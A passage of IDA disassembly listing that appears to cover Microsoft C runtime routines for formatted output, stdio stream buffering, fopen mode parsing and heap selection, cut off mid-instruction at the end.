short loc_41A328 mov al, byte ptr [ebp+var_2C] mov [ebp+var_16], 30h add al, 51h mov [ebp+var_1C], 2 mov [ebp+var_15], al jmp short loc_41A328 ; --------------------------------------------------------------------------- loc_41A2E0: ; CODE XREF: sub_419E38+41Ej test byte ptr [ebp+var_4], 80h mov [ebp+var_C], 8 jz short loc_41A328 or byte ptr [ebp+var_4+1], 2 jmp short loc_41A328 ; --------------------------------------------------------------------------- loc_41A2F3: ; CODE XREF: sub_419E38+417j lea eax, [ebp+arg_8] push eax call sub_41A617 test byte ptr [ebp+var_4], 20h pop ecx jz short loc_41A30C mov cx, word ptr [ebp+var_14] mov [eax], cx jmp short loc_41A311 ; --------------------------------------------------------------------------- loc_41A30C: ; CODE XREF: sub_419E38+4C9j mov ecx, [ebp+var_14] mov [eax], ecx loc_41A311: ; CODE XREF: sub_419E38+4D2j mov [ebp+var_28], 1 jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_41A31D: ; CODE XREF: sub_419E38+2F7j ; sub_419E38+40Ej or [ebp+var_4], 40h loc_41A321: ; CODE XREF: sub_419E38+432j mov [ebp+var_C], 0Ah loc_41A328: ; CODE XREF: sub_419E38+491j ; sub_419E38+4A6j ... test byte ptr [ebp+var_4+1], 80h jz short loc_41A33A lea eax, [ebp+arg_8] push eax call sub_41A624 pop ecx jmp short loc_41A37B ; --------------------------------------------------------------------------- loc_41A33A: ; CODE XREF: sub_419E38+4F4j test byte ptr [ebp+var_4], 20h jz short loc_41A361 test byte ptr [ebp+var_4], 40h lea eax, [ebp+arg_8] push eax jz short loc_41A356 call sub_41A617 pop ecx movsx eax, ax loc_41A353: ; CODE XREF: sub_419E38+527j ; sub_419E38+539j cdq jmp short loc_41A37B ; --------------------------------------------------------------------------- loc_41A356: ; CODE XREF: sub_419E38+510j call sub_41A617 pop ecx movzx eax, ax jmp short loc_41A353 ; --------------------------------------------------------------------------- loc_41A361: ; CODE XREF: sub_419E38+506j test byte ptr [ebp+var_4], 40h lea eax, [ebp+arg_8] push eax jz short loc_41A373 call sub_41A617 pop ecx jmp short loc_41A353 ; --------------------------------------------------------------------------- loc_41A373: ; CODE XREF: sub_419E38+531j call sub_41A617 pop ecx xor edx, edx loc_41A37B: ; CODE XREF: sub_419E38+500j ; sub_419E38+51Cj test byte ptr [ebp+var_4], 40h jz short loc_41A39C test edx, edx jg short loc_41A39C jl short loc_41A38B test eax, eax jnb short loc_41A39C loc_41A38B: ; CODE XREF: sub_419E38+54Dj neg eax adc edx, 0 mov esi, eax neg edx or byte ptr [ebp+var_4+1], 1 mov edi, edx jmp short loc_41A3A0 ; --------------------------------------------------------------------------- loc_41A39C: ; CODE XREF: sub_419E38+547j ; sub_419E38+54Bj ... mov esi, eax mov edi, edx loc_41A3A0: ; CODE XREF: sub_419E38+562j test byte ptr [ebp+var_4+1], 80h jnz short loc_41A3A9 and edi, 0 loc_41A3A9: ; CODE XREF: sub_419E38+56Cj cmp [ebp+var_10], 0 jge short loc_41A3B8 mov [ebp+var_10], 1 jmp short loc_41A3BC ; --------------------------------------------------------------------------- loc_41A3B8: ; CODE XREF: sub_419E38+575j and [ebp+var_4], 0FFFFFFF7h loc_41A3BC: ; CODE XREF: sub_419E38+57Ej mov eax, esi or eax, edi jnz short loc_41A3C6 and [ebp+var_1C], 0 loc_41A3C6: ; CODE XREF: sub_419E38+588j lea eax, [ebp+var_49] mov [ebp+var_8], eax loc_41A3CC: ; CODE XREF: sub_419E38+5DDj mov eax, [ebp+var_10] dec [ebp+var_10] test eax, eax jg short loc_41A3DC mov eax, esi or eax, edi jz short loc_41A417 loc_41A3DC: ; CODE XREF: sub_419E38+59Cj mov eax, [ebp+var_C] cdq push edx push eax push edi push esi mov [ebp+var_40], eax mov [ebp+var_3C], edx call sub_4191D0 push [ebp+var_3C] mov ebx, eax add ebx, 30h push [ebp+var_40] push edi push esi call sub_419250 cmp ebx, 39h mov esi, eax mov edi, edx jle short loc_41A40D add ebx, [ebp+var_2C] loc_41A40D: ; CODE XREF: sub_419E38+5D0j mov eax, [ebp+var_8] dec [ebp+var_8] mov [eax], bl jmp short loc_41A3CC ; --------------------------------------------------------------------------- loc_41A417: ; CODE XREF: sub_419E38+5A2j lea eax, [ebp+var_49] sub eax, [ebp+var_8] inc [ebp+var_8] test byte ptr [ebp+var_4+1], 2 mov [ebp+var_C], eax jz short loc_41A442 mov ecx, [ebp+var_8] cmp byte ptr [ecx], 30h jnz short loc_41A435 test eax, eax jnz short loc_41A442 loc_41A435: ; CODE XREF: sub_419E38+5F7j dec [ebp+var_8] inc eax mov ecx, [ebp+var_8] mov byte ptr [ecx], 30h loc_41A43F: ; CODE XREF: sub_419E38+35Fj ; sub_419E38+406j ... mov [ebp+var_C], eax loc_41A442: ; CODE XREF: sub_419E38+21Bj ; sub_419E38+2FDj ... cmp [ebp+var_28], 0 jnz loc_41A540 ; default mov ebx, [ebp+var_4] test bl, 40h jz short loc_41A47A test bh, 1 jz short loc_41A45F mov [ebp+var_16], 2Dh jmp short loc_41A473 ; --------------------------------------------------------------------------- loc_41A45F: ; CODE XREF: sub_419E38+61Fj test bl, 1 jz short loc_41A46A mov [ebp+var_16], 2Bh jmp short loc_41A473 ; --------------------------------------------------------------------------- loc_41A46A: ; CODE XREF: sub_419E38+62Aj test bl, 2 jz short loc_41A47A mov [ebp+var_16], 20h loc_41A473: ; CODE XREF: sub_419E38+625j ; sub_419E38+630j mov [ebp+var_1C], 1 loc_41A47A: ; CODE XREF: sub_419E38+61Aj ; sub_419E38+635j mov esi, [ebp+var_20] sub esi, [ebp+var_1C] sub esi, [ebp+var_C] test bl, 0Ch jnz short loc_41A49A lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 20h call sub_41A5AE add esp, 10h loc_41A49A: ; CODE XREF: sub_419E38+64Ej lea eax, [ebp+var_14] push eax lea eax, [ebp+var_16] push [ebp+arg_0] push [ebp+var_1C] push eax call sub_41A5DF add esp, 10h test bl, 8 jz short loc_41A4CC test bl, 4 jnz short loc_41A4CC lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 30h call sub_41A5AE add esp, 10h loc_41A4CC: ; CODE XREF: sub_419E38+67Bj ; sub_419E38+680j cmp [ebp+var_24], 0 jz short loc_41A513 cmp [ebp+var_C], 0 jle short loc_41A513 mov eax, [ebp+var_C] mov ebx, [ebp+var_8] lea edi, [eax-1] loc_41A4E1: ; CODE XREF: sub_419E38+6D7j mov ax, [ebx] inc ebx push eax lea eax, [ebp+var_38] push eax inc ebx call sub_41FAFB pop ecx test eax, eax pop ecx jle short loc_41A528 lea ecx, [ebp+var_14] push ecx push [ebp+arg_0] push eax lea eax, [ebp+var_38] push eax call sub_41A5DF add esp, 10h mov eax, edi dec edi test eax, eax jnz short loc_41A4E1 jmp short loc_41A528 ; --------------------------------------------------------------------------- loc_41A513: ; CODE XREF: sub_419E38+698j ; sub_419E38+69Ej lea eax, [ebp+var_14] push eax push [ebp+arg_0] push [ebp+var_C] push [ebp+var_8] call sub_41A5DF add esp, 10h loc_41A528: ; CODE XREF: sub_419E38+6BCj ; sub_419E38+6D9j test byte ptr [ebp+var_4], 4 jz short loc_41A540 ; default lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 20h call sub_41A5AE add esp, 10h loc_41A540: ; CODE XREF: sub_419E38+68j ; sub_419E38+8Bj ... mov edi, [ebp+arg_4] ; default mov bl, [edi] inc edi test bl, bl mov [ebp+arg_4], edi jnz loc_419E64 loc_41A551: ; CODE XREF: sub_419E38+1Fj ; sub_419E38+37j mov eax, [ebp+var_14] pop edi pop esi pop ebx leave retn sub_419E38 endp ; --------------------------------------------------------------------------- off_41A559 dd offset loc_419FD7 ; DATA XREF: sub_419E38+6Er dd offset loc_419EAD ; jump table for switch statement dd offset loc_419EC8 dd offset loc_419F14 dd offset loc_419F4B dd offset loc_419F53 dd offset loc_419F88 dd offset loc_41A01B ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A579 proc near ; CODE XREF: sub_419E38+1BDp ; sub_419E38+1D6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov ecx, [ebp+arg_4] dec dword ptr [ecx+4] js short loc_41A592 mov edx, [ecx] mov al, byte ptr [ebp+arg_0] mov [edx], al inc dword ptr [ecx] movzx eax, al jmp short loc_41A59D ; --------------------------------------------------------------------------- loc_41A592: ; CODE XREF: sub_41A579+9j push ecx push [ebp+arg_0] call sub_419D23 pop ecx pop ecx loc_41A59D: ; CODE XREF: sub_41A579+17j cmp eax, 0FFFFFFFFh mov eax, [ebp+arg_8] jnz short loc_41A5AA or dword ptr [eax], 0FFFFFFFFh pop ebp retn ; --------------------------------------------------------------------------- loc_41A5AA: ; CODE XREF: sub_41A579+2Aj inc dword ptr [eax] pop ebp retn sub_41A579 endp ; =============== S U B R O U T I N E ======================================= sub_41A5AE proc near ; CODE XREF: sub_419E38+65Ap ; sub_419E38+68Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push esi push edi mov edi, [esp+8+arg_4] mov eax, edi dec edi test eax, eax jle short loc_41A5DC mov esi, [esp+8+arg_C] loc_41A5BF: ; CODE XREF: sub_41A5AE+2Cj push esi push [esp+0Ch+arg_8] push [esp+10h+arg_0] call sub_41A579 add esp, 0Ch cmp dword ptr [esi], 0FFFFFFFFh jz short loc_41A5DC mov eax, edi dec edi test eax, eax jg short loc_41A5BF loc_41A5DC: ; CODE XREF: sub_41A5AE+Bj ; sub_41A5AE+25j pop edi pop esi retn sub_41A5AE endp ; =============== S U B R O U T I N E ======================================= sub_41A5DF proc near ; CODE XREF: sub_419E38+670p ; sub_419E38+6CAp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov ebx, [esp+4+arg_4] mov eax, ebx dec ebx push esi push edi test eax, eax jle short loc_41A613 mov edi, [esp+0Ch+arg_C] mov esi, [esp+0Ch+arg_0] loc_41A5F5: ; CODE XREF: sub_41A5DF+32j movsx eax, byte ptr [esi] push edi inc esi push [esp+10h+arg_8] push eax call sub_41A579 add esp, 0Ch cmp dword ptr [edi], 0FFFFFFFFh jz short loc_41A613 mov eax, ebx dec ebx test eax, eax jg short loc_41A5F5 loc_41A613: ; CODE XREF: sub_41A5DF+Cj ; sub_41A5DF+2Bj pop edi pop esi pop ebx retn sub_41A5DF endp ; =============== S U B R O U T I N E ======================================= sub_41A617 proc near ; CODE XREF: sub_419E38+E5p ; sub_419E38+124p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 4 mov eax, [eax] mov eax, [eax-4] retn sub_41A617 endp ; =============== S U B R O U T I N E ======================================= sub_41A624 proc near ; CODE XREF: sub_419E38+4FAp arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 8 mov ecx, [eax] mov eax, [ecx-8] mov edx, [ecx-4] retn sub_41A624 endp ; =============== S U B R O U T I N E ======================================= sub_41A634 proc near ; CODE XREF: sub_419E38+2C7p arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 4 mov eax, [eax] mov ax, [eax-4] retn sub_41A634 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A642 proc near ; CODE XREF: sub_417794+17p ; sub_417794+58p ... var_4 = byte ptr -4 var_3 = byte ptr -3 var_2 = byte ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] lea ecx, [eax+1] cmp ecx, 100h ja short loc_41A660 mov ecx, off_4395A0 movzx eax, word ptr [ecx+eax*2] jmp short loc_41A6B2 ; --------------------------------------------------------------------------- loc_41A660: ; CODE XREF: sub_41A642+10j mov ecx, eax push esi mov esi, off_4395A0 sar ecx, 8 movzx edx, cl test byte ptr [esi+edx*2+1], 80h pop esi jz short loc_41A685 and [ebp+var_2], 0 mov [ebp+var_4], cl mov [ebp+var_3], al push 2 jmp short loc_41A68E ; --------------------------------------------------------------------------- loc_41A685: ; CODE XREF: sub_41A642+33j and [ebp+var_3], 0 mov [ebp+var_4], al push 1 loc_41A68E: ; CODE XREF: sub_41A642+41j pop eax lea ecx, [ebp+arg_0+2] push 1 push 0 push 0 push ecx push eax lea eax, [ebp+var_4] push eax push 1 call sub_41FB63 add esp, 1Ch test eax, eax jnz short loc_41A6AE leave retn ; --------------------------------------------------------------------------- loc_41A6AE: ; CODE XREF: sub_41A642+68j movzx eax, word ptr [ebp+arg_0+2] loc_41A6B2: ; CODE XREF: sub_41A642+1Cj and eax, [ebp+arg_4] leave retn sub_41A642 endp ; =============== S U B R O U T I N E ======================================= sub_41A6B7 proc near ; CODE XREF: sub_417900+2Ap ; sub_41FEC6+290p arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] cmp edi, dword_48B440 jnb loc_41A751 mov eax, edi mov esi, edi sar eax, 5 and esi, 1Fh lea ebx, ds:48B340h[eax*4] shl esi, 3 mov eax, [ebx] test byte ptr [eax+esi+4], 1 jz short loc_41A751 push edi call sub_41FE32 cmp eax, 0FFFFFFFFh pop ecx jz short loc_41A730 cmp edi, 1 jz short loc_41A6FE cmp edi, 2 jnz short loc_41A714 loc_41A6FE: ; CODE XREF: sub_41A6B7+40j push 2 call sub_41FE32 push 1 mov ebp, eax call sub_41FE32 pop ecx cmp eax, ebp pop ecx jz short loc_41A730 loc_41A714: ; CODE XREF: sub_41A6B7+45j push edi call sub_41FE32 pop ecx push eax nop call near ptr 2621910h test eax, eax jnz short loc_41A730 nop call near ptr 26402CBh mov ebp, eax jmp short loc_41A732 ; --------------------------------------------------------------------------- loc_41A730: ; CODE XREF: sub_41A6B7+3Bj ; sub_41A6B7+5Bj ... xor ebp, ebp loc_41A732: ; CODE XREF: sub_41A6B7+77j push edi call sub_41FDB8 mov eax, [ebx] pop ecx and byte ptr [eax+esi+4], 0 test ebp, ebp jz short loc_41A74D push ebp call sub_41EF44 pop ecx jmp short loc_41A762 ; --------------------------------------------------------------------------- loc_41A74D: ; CODE XREF: sub_41A6B7+8Bj xor eax, eax jmp short loc_41A765 ; --------------------------------------------------------------------------- loc_41A751: ; CODE XREF: sub_41A6B7+Ej ; sub_41A6B7+2Fj and dword_48A018, 0 mov dword_48A014, 9 loc_41A762: ; CODE XREF: sub_41A6B7+94j or eax, 0FFFFFFFFh loc_41A765: ; CODE XREF: sub_41A6B7+98j pop edi pop esi pop ebp pop ebx retn sub_41A6B7 endp ; =============== S U B R O U T I N E ======================================= sub_41A76A proc near ; CODE XREF: sub_417900+22p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz short loc_41A793 test al, 8 jz short loc_41A793 push dword ptr [esi+8] call sub_417C3B and word ptr [esi+0Ch], 0FBF7h xor eax, eax pop ecx mov [esi], eax mov [esi+8], eax mov [esi+4], eax loc_41A793: ; CODE XREF: sub_41A76A+Aj ; sub_41A76A+Ej pop esi retn sub_41A76A endp ; =============== S U B R O U T I N E ======================================= sub_41A795 proc near ; CODE XREF: sub_41A835+2Dp ; sub_41A835+48p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jnz short loc_41A7A7 push esi call sub_41A835 pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_41A7A7: ; CODE XREF: sub_41A795+7j push esi call sub_41A7D0 test eax, eax pop ecx jz short loc_41A7B7 or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_41A7B7: ; CODE XREF: sub_41A795+1Bj test byte ptr [esi+0Dh], 40h jz short loc_41A7CC push dword ptr [esi+10h] call sub_41FE6F neg eax pop ecx pop esi sbb eax, eax retn ; --------------------------------------------------------------------------- loc_41A7CC: ; CODE XREF: sub_41A795+26j xor eax, eax pop esi retn sub_41A795 endp ; =============== S U B R O U T I N E ======================================= sub_41A7D0 proc near ; CODE XREF: sub_417900+1Ap ; sub_418D0E+37p ... arg_0 = dword ptr 4 push ebx push esi mov esi, [esp+8+arg_0] xor ebx, ebx push edi mov eax, [esi+0Ch] mov ecx, eax and ecx, 3 cmp cl, 2 jnz short loc_41A81D test ax, 108h jz short loc_41A81D mov eax, [esi+8] mov edi, [esi] sub edi, eax test edi, edi jle short loc_41A81D push edi push eax push dword ptr [esi+10h] call sub_41ED97 add esp, 0Ch cmp eax, edi jnz short loc_41A816 mov eax, [esi+0Ch] test al, 80h jz short loc_41A81D and al, 0FDh mov [esi+0Ch], eax jmp short loc_41A81D ; --------------------------------------------------------------------------- loc_41A816: ; CODE XREF: sub_41A7D0+36j or dword ptr [esi+0Ch], 20h or ebx, 0FFFFFFFFh loc_41A81D: ; CODE XREF: sub_41A7D0+14j ; sub_41A7D0+1Aj ... mov eax, [esi+8] and dword ptr [esi+4], 0 mov [esi], eax pop edi mov eax, ebx pop esi pop ebx retn sub_41A7D0 endp ; =============== S U B R O U T I N E ======================================= sub_41A82C proc near ; CODE XREF: sub_41FAE7p push 1 call sub_41A835 pop ecx retn sub_41A82C endp ; =============== S U B R O U T I N E ======================================= sub_41A835 proc near ; CODE XREF: sub_41A795+Ap ; sub_41A82C+2p arg_0 = dword ptr 4 push ebx push esi push edi xor esi, esi xor ebx, ebx xor edi, edi cmp dword_48B320, esi jle short loc_41A893 loc_41A846: ; CODE XREF: sub_41A835+5Cj mov eax, dword_48A310 mov eax, [eax+esi*4] test eax, eax jz short loc_41A88A mov ecx, [eax+0Ch] test cl, 83h jz short loc_41A88A cmp [esp+0Ch+arg_0], 1 jnz short loc_41A870 push eax call sub_41A795 cmp eax, 0FFFFFFFFh pop ecx jz short loc_41A88A inc ebx jmp short loc_41A88A ; --------------------------------------------------------------------------- loc_41A870: ; CODE XREF: sub_41A835+2Aj cmp [esp+0Ch+arg_0], 0 jnz short loc_41A88A test cl, 2 jz short loc_41A88A push eax call sub_41A795 cmp eax, 0FFFFFFFFh pop ecx jnz short loc_41A88A or edi, eax loc_41A88A: ; CODE XREF: sub_41A835+1Bj ; sub_41A835+23j ... inc esi cmp esi, dword_48B320 jl short loc_41A846 loc_41A893: ; CODE XREF: sub_41A835+Fj cmp [esp+0Ch+arg_0], 1 mov eax, ebx jz short loc_41A89E mov eax, edi loc_41A89E: ; CODE XREF: sub_41A835+65j pop edi pop esi pop ebx retn sub_41A835 endp ; =============== S U B R O U T I N E ======================================= sub_41A8A2 proc near ; CODE XREF: sub_417956+8p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push dword ptr [esi+10h] call sub_41FA1C test eax, eax pop ecx jz short loc_41A92B cmp esi, offset dword_43BCD8 jnz short loc_41A8C0 xor eax, eax jmp short loc_41A8CB ; --------------------------------------------------------------------------- loc_41A8C0: ; CODE XREF: sub_41A8A2+18j cmp esi, offset dword_43BCF8 jnz short loc_41A92B push 1 pop eax loc_41A8CB: ; CODE XREF: sub_41A8A2+1Cj inc dword_48A1D8 test word ptr [esi+0Ch], 10Ch jnz short loc_41A92B cmp dword_48A06C[eax*4], 0 push ebx push edi lea edi, ds:48A06Ch[eax*4] mov ebx, 1000h jnz short loc_41A911 push ebx call sub_417B89 test eax, eax pop ecx mov [edi], eax jnz short loc_41A911 lea eax, [esi+14h] push 2 mov [esi+8], eax mov [esi], eax pop eax mov [esi+18h], eax mov [esi+4], eax jmp short loc_41A91E ; --------------------------------------------------------------------------- loc_41A911: ; CODE XREF: sub_41A8A2+4Dj ; sub_41A8A2+5Aj mov edi, [edi] mov [esi+18h], ebx mov [esi+8], edi mov [esi], edi mov [esi+4], ebx loc_41A91E: ; CODE XREF: sub_41A8A2+6Dj or word ptr [esi+0Ch], 1102h push 1 pop eax pop edi pop ebx pop esi retn ; --------------------------------------------------------------------------- loc_41A92B: ; CODE XREF: sub_41A8A2+10j ; sub_41A8A2+24j ... xor eax, eax pop esi retn sub_41A8A2 endp ; =============== S U B R O U T I N E ======================================= sub_41A92F proc near ; CODE XREF: sub_417956+24p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0 push esi jz short loc_41A959 mov esi, [esp+4+arg_4] test byte ptr [esi+0Dh], 10h jz short loc_41A96A push esi call sub_41A7D0 and byte ptr [esi+0Dh], 0EEh and dword ptr [esi+18h], 0 and dword ptr [esi], 0 and dword ptr [esi+8], 0 pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_41A959: ; CODE XREF: sub_41A92F+6j mov eax, [esp+4+arg_4] test byte ptr [eax+0Dh], 10h jz short loc_41A96A push eax call sub_41A7D0 pop ecx loc_41A96A: ; CODE XREF: sub_41A92F+10j ; sub_41A92F+32j pop esi retn sub_41A92F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A96C proc near ; CODE XREF: sub_417988+17p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, dword_48A1E0 push edi mov edi, [ebp+arg_4] xor ebx, ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov al, [edi] cmp al, 61h jz short loc_41A9A5 cmp al, 72h jz short loc_41A99E cmp al, 77h jnz loc_41AAB9 mov ecx, 301h jmp short loc_41A9AA ; --------------------------------------------------------------------------- loc_41A99E: ; CODE XREF: sub_41A96C+21j xor ecx, ecx or esi, 1 jmp short loc_41A9AD ; --------------------------------------------------------------------------- loc_41A9A5: ; CODE XREF: sub_41A96C+1Dj mov ecx, 109h loc_41A9AA: ; CODE XREF: sub_41A96C+30j or esi, 2 loc_41A9AD: ; CODE XREF: sub_41A96C+37j push 1 pop edx loc_41A9B0: ; CODE XREF: sub_41A96C+8Bj ; sub_41A96C+A0j ... mov al, [edi+1] inc edi cmp al, bl jz loc_41AA9F cmp edx, ebx jz loc_41AA9F movsx eax, al cmp eax, 54h jg short loc_41AA3E jz short loc_41AA2E sub eax, 2Bh jz short loc_41AA18 sub eax, 19h jz short loc_41AA0E sub eax, 0Eh jz short loc_41A9F9 dec eax jnz loc_41AA90 cmp [ebp+var_4], ebx jnz loc_41AA90 mov [ebp+var_4], 1 or ecx, 20h jmp short loc_41A9B0 ; --------------------------------------------------------------------------- loc_41A9F9: ; CODE XREF: sub_41A96C+6Fj cmp [ebp+var_4], ebx jnz loc_41AA90 mov [ebp+var_4], 1 or ecx, 10h jmp short loc_41A9B0 ; --------------------------------------------------------------------------- loc_41AA0E: ; CODE XREF: sub_41A96C+6Aj test cl, 40h jnz short loc_41AA90 or ecx, 40h jmp short loc_41A9B0 ; --------------------------------------------------------------------------- loc_41AA18: ; CODE XREF: sub_41A96C+65j test cl, 2 jnz short loc_41AA90 and ecx, 0FFFFFFFEh and esi, 0FFFFFFFCh or ecx, 2 or esi, 80h jmp short loc_41A9B0 ; --------------------------------------------------------------------------- loc_41AA2E: ; CODE XREF: sub_41A96C+60j mov eax, 1000h test ecx, eax jnz short loc_41AA90 or ecx, eax jmp loc_41A9B0 ; --------------------------------------------------------------------------- loc_41AA3E: ; CODE XREF: sub_41A96C+5Ej sub eax, 62h jz short loc_41AA8B dec eax jz short loc_41AA74 sub eax, 0Bh jz short loc_41AA5D sub eax, 6 jnz short loc_41AA90 test ch, 0C0h jnz short loc_41AA90 or ch, 40h jmp loc_41A9B0 ; --------------------------------------------------------------------------- loc_41AA5D: ; CODE XREF: sub_41A96C+DDj cmp [ebp+var_8], ebx jnz short loc_41AA90 mov [ebp+var_8], 1 and esi, 0FFFFBFFFh jmp loc_41A9B0 ; --------------------------------------------------------------------------- loc_41AA74: ; CODE XREF: sub_41A96C+D8j cmp [ebp+var_8], ebx jnz short loc_41AA90 mov [ebp+var_8], 1 or esi, 4000h jmp loc_41A9B0 ; --------------------------------------------------------------------------- loc_41AA8B: ; CODE XREF: sub_41A96C+D5j test ch, 0C0h jz short loc_41AA97 loc_41AA90: ; CODE XREF: sub_41A96C+72j ; sub_41A96C+7Bj ... xor edx, edx jmp loc_41A9B0 ; --------------------------------------------------------------------------- loc_41AA97: ; CODE XREF: sub_41A96C+122j or ch, 80h jmp loc_41A9B0 ; --------------------------------------------------------------------------- loc_41AA9F: ; CODE XREF: sub_41A96C+4Aj ; sub_41A96C+52j push 1A4h push [ebp+arg_8] push ecx push [ebp+arg_0] call sub_41FEC6 mov ecx, eax add esp, 10h cmp ecx, ebx jge short loc_41AABD loc_41AAB9: ; CODE XREF: sub_41A96C+25j xor eax, eax jmp short loc_41AAD7 ; --------------------------------------------------------------------------- loc_41AABD: ; CODE XREF: sub_41A96C+14Bj mov eax, [ebp+arg_C] inc dword_48A1D8 mov [eax+0Ch], esi mov [eax+4], ebx mov [eax], ebx mov [eax+8], ebx mov [eax+1Ch], ebx mov [eax+10h], ecx loc_41AAD7: ; CODE XREF: sub_41A96C+14Fj pop edi pop esi pop ebx leave retn sub_41A96C endp ; =============== S U B R O U T I N E ======================================= sub_41AADC proc near ; CODE XREF: sub_417988p mov edx, dword_48B320 push ebx push ebp push esi xor ebp, ebp xor esi, esi xor eax, eax cmp edx, ebp push edi jle short loc_41AB4D mov ebx, dword_48A310 mov edi, ebx loc_41AAF8: ; CODE XREF: sub_41AADC+2Ej mov ecx, [edi] cmp ecx, ebp jz short loc_41AB13 test byte ptr [ecx+0Ch], 83h jz short loc_41AB0E inc eax add edi, 4 cmp eax, edx jl short loc_41AAF8 jmp short loc_41AB4D ; --------------------------------------------------------------------------- loc_41AB0E: ; CODE XREF: sub_41AADC+26j mov esi, [ebx+eax*4] jmp short loc_41AB37 ; --------------------------------------------------------------------------- loc_41AB13: ; CODE XREF: sub_41AADC+20j mov edi, eax push 20h shl edi, 2 call sub_417B89 pop ecx mov ecx, dword_48A310 mov [edi+ecx], eax mov eax, dword_48A310 mov edi, [edi+eax] cmp edi, ebp jz short loc_41AB4D mov esi, edi loc_41AB37: ; CODE XREF: sub_41AADC+35j cmp esi, ebp jz short loc_41AB4D or dword ptr [esi+10h], 0FFFFFFFFh mov [esi+4], ebp mov [esi+0Ch], ebp mov [esi+8], ebp mov [esi], ebp mov [esi+1Ch], ebp loc_41AB4D: ; CODE XREF: sub_41AADC+12j ; sub_41AADC+30j ... mov eax, esi pop edi pop esi pop ebp pop ebx retn sub_41AADC endp ; =============== S U B R O U T I N E ======================================= sub_41AB54 proc near ; CODE XREF: sub_417B9B+1Fp ; sub_41944F+126p ... arg_0 = dword ptr 4 mov eax, dword_48A078 test eax, eax jz short loc_41AB6C push [esp+arg_0] call eax test eax, eax pop ecx jz short loc_41AB6C push 1 pop eax retn ; --------------------------------------------------------------------------- loc_41AB6C: ; CODE XREF: sub_41AB54+7j ; sub_41AB54+12j xor eax, eax retn sub_41AB54 endp ; =============== S U B R O U T I N E ======================================= sub_41AB6F proc near ; CODE XREF: sub_41AB9C+136p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 0 and dword ptr [esi], 0 nop call near ptr 2710000h cmp word ptr [eax], 5A4Dh jnz short loc_41AB9A mov ecx, [eax+3Ch] test ecx, ecx jz short loc_41AB9A add eax, ecx mov cl, [eax+1Ah] mov [esi], cl mov al, [eax+1Bh] mov [esi+1], al loc_41AB9A: ; CODE XREF: sub_41AB6F+15j ; sub_41AB6F+1Cj pop esi retn sub_41AB6F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AB9C proc near ; CODE XREF: sub_41ACE4+20p var_122C = byte ptr -122Ch var_19C = byte ptr -19Ch var_98 = dword ptr -98h var_94 = dword ptr -94h var_88 = dword ptr -88h var_4 = byte ptr -4 push ebp mov ebp, esp mov eax, 122Ch call sub_417B30 lea eax, [ebp+var_98] push ebx push eax mov [ebp+var_98], 94h call near ptr 27715E7h nop test eax, eax jz short loc_41ABDF cmp [ebp+var_88], 2 jnz short loc_41ABDF cmp [ebp+var_94], 5 jb short loc_41ABDF push 1 pop eax jmp loc_41ACE1 ; --------------------------------------------------------------------------- loc_41ABDF: ; CODE XREF: sub_41AB9C+27j ; sub_41AB9C+30j ... lea eax, [ebp+var_122C] push 1090h push eax push offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT" call near ptr 2820000h nop test eax, eax jz loc_41ACCE xor ebx, ebx lea ecx, [ebp+var_122C] cmp [ebp+var_122C], bl jz short loc_41AC21 loc_41AC0E: ; CODE XREF: sub_41AB9C+83j mov al, [ecx] cmp al, 61h jl short loc_41AC1C cmp al, 7Ah jg short loc_41AC1C sub al, 20h mov [ecx], al loc_41AC1C: ; CODE XREF: sub_41AB9C+76j ; sub_41AB9C+7Aj inc ecx cmp [ecx], bl jnz short loc_41AC0E loc_41AC21: ; CODE XREF: sub_41AB9C+70j lea eax, [ebp+var_122C] push 16h push eax push offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED" call sub_418DA0 add esp, 0Ch test eax, eax jnz short loc_41AC43 lea eax, [ebp+var_122C] jmp short loc_41AC8C ; --------------------------------------------------------------------------- loc_41AC43: ; CODE XREF: sub_41AB9C+9Dj lea eax, [ebp+var_19C] push 104h push eax push ebx nop call near ptr 2650000h cmp [ebp+var_19C], bl lea ecx, [ebp+var_19C] jz short loc_41AC77 loc_41AC64: ; CODE XREF: sub_41AB9C+D9j mov al, [ecx] cmp al, 61h jl short loc_41AC72 cmp al, 7Ah jg short loc_41AC72 sub al, 20h mov [ecx], al loc_41AC72: ; CODE XREF: sub_41AB9C+CCj ; sub_41AB9C+D0j inc ecx cmp [ecx], bl jnz short loc_41AC64 loc_41AC77: ; CODE XREF: sub_41AB9C+C6j lea eax, 